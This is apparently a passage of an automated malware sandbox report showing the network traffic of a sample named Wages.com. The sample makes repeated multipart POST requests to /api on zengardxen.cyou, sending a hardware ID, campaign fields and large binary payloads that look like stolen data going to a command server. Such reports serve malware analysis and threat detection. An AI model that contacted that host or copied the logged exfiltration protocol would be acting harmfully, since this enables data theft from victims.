2gGpXrJiWEE9BIgjDrFexgaWkdgP2HABOyttQ9MDCfPJAyuPZ7MIk23FDLFbopdEQNcGyh+f4UQoKq0Qh5NLsgtC6Q5nspwAvEBKog82HYXDV1Nfz1mzQLsv7ECRQZujGgGsXrJiUEU4RktiSDBfR8eXVAycCDaDvHt4BRWGindZhjpPZ2JOkPxGiyCMMRuGQ5fT3s3ZMMK4Km8BUMOIskvAqY+mMdrDLddaoIuiiRcKUtDfjMg1Ef57b8OBlVu
2025-02-14 15:55:56 UTC	251	IN	Data Raw: 6b 78 68 38 78 6c 46 62 55 6d 4b 59 73 34 7a 57 70 63 46 32 38 4f 4d 6a 46 36 69 31 48 5a 74 50 67 46 53 6b 31 32 67 6a 30 47 71 54 32 4c 33 32 55 50 35 68 67 6e 69 52 54 46 65 77 6f 4c 58 30 4e 6a 4e 79 7a 41 42 4b 44 6a 2b 41 56 65 54 58 61 43 42 77 61 2f 4f 62 37 4b 63 77 71 33 58 57 71 43 49 49 6f 6b 58 44 59 51 55 6e 45 75 59 38 51 59 33 75 33 67 47 33 68 4e 4a 64 51 76 45 61 6f 73 6d 73 52 75 45 73 6c 54 63 74 46 6b 6d 43 35 4f 57 6b 38 41 62 51 45 75 69 77 69 67 39 59 45 62 42 68 74 75 6d 6e 70 50 36 53 6a 52 6b 53 4a 45 39 41 45 34 67 7a 58 63 66 31 73 32 62 6d 64 6b 4e 47 66 62 44 76 65 69 2b 45 77 47 41 6d 36 61 45 55 47 67 50 59 72 59 64 41 37 6e 46 47 71 36 65 49 70 6b 58 46 41 51 64 58 45 77 62 73 77 66 38 65 43 66 46 45 77 0d 0a Data Ascii: kxh8xlFbUmKYs4zWpcF28OMjF6i1HZtPgFSk12gj0GqT2L32UP5hgniRTFewoLX0NjNyzABKDj+AVeTXaCBwa/Ob7Kcwq3XWqCIIokXDYQUnEuY8QY3u3gG3hNJdQvEaosmsRuEslTctFkmC5OWk8AbQEuiwig9YEbBhtumnpP6SjRkSJE9AE4gzXcf1s2bmdkNGfbDvei+EwGAm6aEUGgPYrYdA7nFGq6eIpkXFAQdXEwbswf8eCfFEw
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 32 63 65 64 0d 0a 4b 50 73 55 2f 44 75 6c 30 30 63 38 69 57 36 52 64 61 6f 45 6e 69 69 52 4d 57 67 73 56 49 57 6b 77 6d 52 61 75 74 50 67 55 42 6c 56 38 6a 47 67 54 36 57 4c 52 6a 6d 45 52 35 52 55 70 6b 7a 57 4e 51 69 49 76 53 6b 31 30 4b 58 48 31 4e 2b 65 33 74 51 52 52 48 47 4c 58 4b 77 2b 6e 50 59 65 4a 4c 45 50 34 55 33 4b 38 64 6f 49 38 49 30 59 51 57 44 4a 6d 49 50 34 4b 37 71 4f 2f 46 46 64 41 43 64 67 6c 42 37 34 72 30 59 63 69 42 62 64 4c 65 4d 74 32 7a 6d 31 63 55 41 41 53 4b 57 73 7a 6e 46 6d 79 73 76 59 62 42 68 74 75 6d 6e 70 50 36 53 6a 52 6b 53 4a 45 39 41 45 34 67 7a 58 63 66 31 73 32 62 6d 35 31 4f 47 58 4d 47 61 4b 44 73 78 5a 42 54 57 43 43 4a 30 48 78 41 39 47 42 49 6a 79 35 55 7a 4c 46 62 6f 70 4a 48 77 5a 65 52 32 51 76 4c 65 55 4f Data Ascii: 2cedKPsU/Dul00c8iW6RdaoEniiRMWgsVIWkwmRautPgUBlV8jGgT6WLRjmER5RUpkzWNQiIvSk10KXH1N+e3tQRRHGLXKw+nPYeJLEP4U3K8doI8I0YQWDJmIP4K7qO/FFdACdglB74r0YciBbdLeMt2zm1cUAASKWsznFmysvYbBhtumnpP6SjRkSJE9AE4gzXcf1s2bm51OGXMGaKDsxZBTWCCJ0HxA9GBIjy5UzLFbopJHwZeR2QvLeUO
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 41 49 54 54 79 43 63 45 48 75 4f 59 50 62 5a 41 44 68 45 47 32 37 43 4f 31 79 47 77 6c 47 55 47 55 78 58 76 55 63 34 36 4f 32 42 56 41 63 62 6f 78 6f 44 75 6c 69 71 49 6b 71 51 38 68 64 61 70 31 32 6b 6a 77 70 43 31 35 4f 64 53 68 78 68 69 37 75 71 72 6b 55 56 68 6f 68 67 6d 5a 42 72 33 72 4a 6d 79 78 44 38 77 4a 71 33 57 61 59 4a 30 6c 62 42 78 41 67 49 53 37 53 53 66 62 74 34 46 41 49 54 54 79 43 63 45 48 75 4f 59 50 62 5a 41 44 68 45 47 32 37 43 4f 31 79 47 77 6c 47 55 47 55 78 4c 2b 55 2f 77 5a 4f 47 46 30 55 44 49 4d 55 2b 45 4f 6c 30 30 63 59 69 57 38 35 54 59 73 55 4a 68 44 77 45 53 41 67 41 52 7a 31 75 78 51 37 32 76 50 55 6c 53 41 6f 76 31 44 67 57 70 6e 57 2f 2f 30 4e 44 75 56 4d 73 78 57 36 59 4d 6c 77 4d 51 51 41 71 62 6a 4b 51 58 4c 50 36 36 Data Ascii: AITTyCcEHuOYPbZADhEG27CO1yGwlGUGUxXvUc46O2BVAcboxoDuliqIkqQ8hdap12kjwpC15OdShxhi7uqrkUVhohgmZBr3rJmyxD8wJq3WaYJ0lbBxAgIS7SSfbt4FAITTyCcEHuOYPbZADhEG27CO1yGwlGUGUxL+U/wZOGF0UDIMU+EOl00cYiW85TYsUJhDwESAgARz1uxQ72vPUlSAov1DgWpnW//0NDuVMsxW6YMlwMQQAqbjKQXLP66

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:55:57 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O8W7XY041YOVJERDM2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18163 Host: zengardxen.cyou
2025-02-14 15:55:57 UTC	15331	OUT	Data Raw: 2d 2d 4f 38 57 37 58 59 30 34 31 59 4f 56 4a 45 52 44 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 43 38 36 43 31 44 46 44 42 38 36 45 41 43 32 42 41 43 34 41 32 44 30 31 45 39 45 44 44 45 0d 0a 2d 2d 4f 38 57 37 58 59 30 34 31 59 4f 56 4a 45 52 44 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 38 57 37 58 59 30 34 31 59 4f 56 4a 45 52 44 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 6d 6d 6d 0d 0a Data Ascii: --O8W7XY041YOVJERDM2Content-Disposition: form-data; name="hwid"00C86C1DFDB86EAC2BAC4A2D01E9EDDE--O8W7XY041YOVJERDM2Content-Disposition: form-data; name="pid"2--O8W7XY041YOVJERDM2Content-Disposition: form-data; name="lid"WG6I6S--mmm
2025-02-14 15:55:57 UTC	2832	OUT	Data Raw: 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE
2025-02-14 15:55:58 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=3ltdt1ro36reu7iu94dlrvd3te; expires=Sat, 15 Feb 2025 15:55:57 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dN4QTe8ZqFtPGcOF8E3q%2F4Ct0ZKF9Td8p1v4feGmwKPA8wfa0ZEJPQMDlCUF39sig1kC1wqTYIw6BXCd2GXAm2cCr8yOaG8TCXgkpLJCoup7ljbYk4NNXVJJ8UqKBS8RxVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3ed478b7c5b9-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7229&min_rtt=7219&rtt_var=2728&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2836&recv_bytes=19124&delivery_rate=399780&cwnd=32&unsent_bytes=0&cid=cb31811d2df1b9d6&ts=1361&x=0"
2025-02-14 15:55:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:55:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:55:59 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L1XEQBKUETKEOFX6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8772 Host: zengardxen.cyou
2025-02-14 15:55:59 UTC	8772	OUT	Data Raw: 2d 2d 4c 31 58 45 51 42 4b 55 45 54 4b 45 4f 46 58 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 43 38 36 43 31 44 46 44 42 38 36 45 41 43 32 42 41 43 34 41 32 44 30 31 45 39 45 44 44 45 0d 0a 2d 2d 4c 31 58 45 51 42 4b 55 45 54 4b 45 4f 46 58 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 31 58 45 51 42 4b 55 45 54 4b 45 4f 46 58 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 6d 6d 6d 0d 0a 2d 2d 4c 31 58 45 Data Ascii: --L1XEQBKUETKEOFX6Content-Disposition: form-data; name="hwid"00C86C1DFDB86EAC2BAC4A2D01E9EDDE--L1XEQBKUETKEOFX6Content-Disposition: form-data; name="pid"2--L1XEQBKUETKEOFX6Content-Disposition: form-data; name="lid"WG6I6S--mmm--L1XE
2025-02-14 15:55:59 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:55:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=u1f5or45to0app1vqkfuvg7knf; expires=Sat, 15 Feb 2025 15:55:59 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BeKYehu0MGtkgC%2BPdWR5N7YAgUZGcoo8CPHYg3kPVUOhav9hZzcyB5ozC5VNA5nG%2F4rQTV95nJq%2FXWowE4Nm%2Bf4Jw%2Fhru2Jdy8q54dgGGfjqksQ%2BRXJEJsRGMRB3PPVXf9A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3ee02ae3e5e8-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6732&min_rtt=6724&rtt_var=2538&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2837&recv_bytes=9708&delivery_rate=429854&cwnd=32&unsent_bytes=0&cid=e76cb0e657288d6b&ts=581&x=0"
2025-02-14 15:55:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:55:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:56:00 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0NOQB56K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20377 Host: zengardxen.cyou
2025-02-14 15:56:00 UTC	15331	OUT	Data Raw: 2d 2d 30 4e 4f 51 42 35 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 43 38 36 43 31 44 46 44 42 38 36 45 41 43 32 42 41 43 34 41 32 44 30 31 45 39 45 44 44 45 0d 0a 2d 2d 30 4e 4f 51 42 35 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 4e 4f 51 42 35 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 6d 6d 6d 0d 0a 2d 2d 30 4e 4f 51 42 35 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f Data Ascii: --0NOQB56KContent-Disposition: form-data; name="hwid"00C86C1DFDB86EAC2BAC4A2D01E9EDDE--0NOQB56KContent-Disposition: form-data; name="pid"3--0NOQB56KContent-Disposition: form-data; name="lid"WG6I6S--mmm--0NOQB56KContent-Dispositio
2025-02-14 15:56:00 UTC	5046	OUT	Data Raw: b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 c1 d7 cc 07 00 00 00 00 Data Ascii: Mn 64F6(X&7~`aO@dR<x)
2025-02-14 15:56:01 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=itk3u17n95c5ltnfcvacn02mq3; expires=Sat, 15 Feb 2025 15:56:00 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TCKnC5IbztwJyLlfIvuRZ0XFAWpp8QZeVRo%2FSpL5aTsRM941ZRixzNln5PZmXs9pnd2h9Y94xBT5VghjK6hXNHVu3eCv6wPK4WdnIQelRIN4hxLpbUnnYsUVcX%2BSAArN3w8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3ee72af4428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1705&rtt_var=640&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21328&delivery_rate=1707602&cwnd=115&unsent_bytes=0&cid=45c4f08398c76d7d&ts=763&x=0"
2025-02-14 15:56:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:56:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:56:01 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WF1N3UL2JOP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2617 Host: zengardxen.cyou
2025-02-14 15:56:01 UTC	2617	OUT	Data Raw: 2d 2d 57 46 31 4e 33 55 4c 32 4a 4f 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 43 38 36 43 31 44 46 44 42 38 36 45 41 43 32 42 41 43 34 41 32 44 30 31 45 39 45 44 44 45 0d 0a 2d 2d 57 46 31 4e 33 55 4c 32 4a 4f 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 46 31 4e 33 55 4c 32 4a 4f 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 6d 6d 6d 0d 0a 2d 2d 57 46 31 4e 33 55 4c 32 4a 4f 50 0d 0a 43 6f 6e 74 65 6e Data Ascii: --WF1N3UL2JOPContent-Disposition: form-data; name="hwid"00C86C1DFDB86EAC2BAC4A2D01E9EDDE--WF1N3UL2JOPContent-Disposition: form-data; name="pid"1--WF1N3UL2JOPContent-Disposition: form-data; name="lid"WG6I6S--mmm--WF1N3UL2JOPConten
2025-02-14 15:56:02 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=1cgam8mrdigorek9fhg3qf060q; expires=Sat, 15 Feb 2025 15:56:02 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bkms3Pt8uG1vUyi9vsSUBsDT5QBfRhb6a6cR%2Faf%2FCdv06eAMELQTNtMhTyWBy%2BpFMqlldYsswuasx1vMP5rO2YGosHn5GjVzsniGVuLcTvbJn0%2FEyrHASn6CNtf7Ql1Z%2F%2Fs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3eef6ce87004-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7388&min_rtt=7373&rtt_var=2776&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=3526&delivery_rate=396039&cwnd=32&unsent_bytes=0&cid=f3378452d5cd68df&ts=645&x=0"
2025-02-14 15:56:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-14 15:56:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:56:03 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=64YFSWT7I6O5L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 558936 Host: zengardxen.cyou
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 2d 2d 36 34 59 46 53 57 54 37 49 36 4f 35 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 43 38 36 43 31 44 46 44 42 38 36 45 41 43 32 42 41 43 34 41 32 44 30 31 45 39 45 44 44 45 0d 0a 2d 2d 36 34 59 46 53 57 54 37 49 36 4f 35 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 34 59 46 53 57 54 37 49 36 4f 35 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 6d 6d 6d 0d 0a 2d 2d 36 34 59 46 53 57 54 37 49 36 4f 35 4c Data Ascii: --64YFSWT7I6O5LContent-Disposition: form-data; name="hwid"00C86C1DFDB86EAC2BAC4A2D01E9EDDE--64YFSWT7I6O5LContent-Disposition: form-data; name="pid"1--64YFSWT7I6O5LContent-Disposition: form-data; name="lid"WG6I6S--mmm--64YFSWT7I6O5L
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 75 5e 54 77 2c a6 ee e2 c9 c9 cf 27 40 0a da 18 37 7a ce f1 f9 41 35 47 90 71 1b cc 63 ea e2 0e 33 66 64 c0 77 ce c7 91 f2 59 f6 5c 90 1e 78 c9 bf a8 54 0a 5e 09 6e ec a8 87 d3 4f 08 6c 9c 20 a2 bb b5 e1 1a 1a 32 ec 98 28 f6 74 4f b0 d6 38 61 b1 03 03 1a 05 d9 67 08 40 6b 48 a5 ae 0a 55 bf f5 ea bd e6 62 d5 c7 2a 8f 21 cc c2 4e 57 3b 34 fd d4 d0 ad 37 7d 39 1f b7 de 8e fd 3c 56 71 be ea b8 60 a9 5f 63 f7 4d c9 aa 6f 48 03 d5 b5 98 0b ef 79 76 e4 29 c2 3b 98 c5 71 12 60 dd 5a a1 6e 33 cc e9 17 50 8e 08 4e 9d 9f 3b 25 b0 b1 3a 71 d8 07 02 fd 6f 05 67 65 b5 e6 36 4b 90 76 23 01 7c 33 c3 fe 96 9d c6 81 59 4b 77 30 7c 02 05 1f c8 39 88 08 3a ec 7c 17 d4 8b 88 12 89 b0 0d d6 ee cf c4 b9 8c f4 54 96 c5 eb da 18 b1 c5 cf dd 9d d2 96 12 bc 42 42 64 8d 1d e6 8f e4 Data Ascii: u^Tw,'@7zA5Gqc3fdwY\xT^nOl 2(tO8ag@kHUb*!NW;47}9<Vq`_cMoHyv);q`Zn3PN;%:qoge6Kv#\|3YKw0\|9:\|TBBd
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 3b ed fd 12 52 96 e5 81 96 34 c3 01 89 3f a5 7f 9f 34 2a 0e 52 56 11 e6 f4 99 88 e8 7f 2d 90 e1 87 29 01 f0 e0 5b 22 c8 b7 91 64 b8 a0 e9 be 32 b7 41 f6 59 ba d4 a2 ab a6 6c be 05 b0 24 4f 7f 43 ad c6 6a 43 4e b0 79 66 b5 04 db 0a 20 dc 59 1c 90 c4 d0 30 df 36 4f 1c 2b 01 b4 37 44 3a 09 d6 60 e0 f7 7d e1 10 24 be 25 08 da a1 ce 3f 34 f2 11 89 88 2b b1 fe f8 7d a7 08 3f 24 be 0e 4d 8a ac be c1 73 3c c6 64 52 69 c1 69 3d b6 85 e6 e6 4a b5 c1 0e 3b 3d cc 10 72 3d 26 e9 c5 75 13 93 82 09 ae 5f d2 62 7f 1f 87 b6 8b 71 a1 09 b7 2f c6 4b 6e 2d 05 98 3b a3 ee ba de 5b f8 5e e5 dc 4f d3 66 25 1c 32 aa 30 71 e6 3e fa c3 26 e4 7d 47 82 9a b0 49 2b ef d8 d3 f9 dd 7a 9d 6b f9 8f 25 23 f7 4d 76 d4 21 e1 ea e3 88 7c f3 c8 5c c3 ba ea c3 1b 13 79 2b fe 6a 99 75 8e 47 33 Data Ascii: ;R4?4*RV-)["d2AYl$OCjCNyf Y06O+7D:`}$%?4+}?$Ms<dRii=J;=r=&u_bq/Kn-;[^Of%20q>&}GI+zk%#Mv!\|\y+juG3
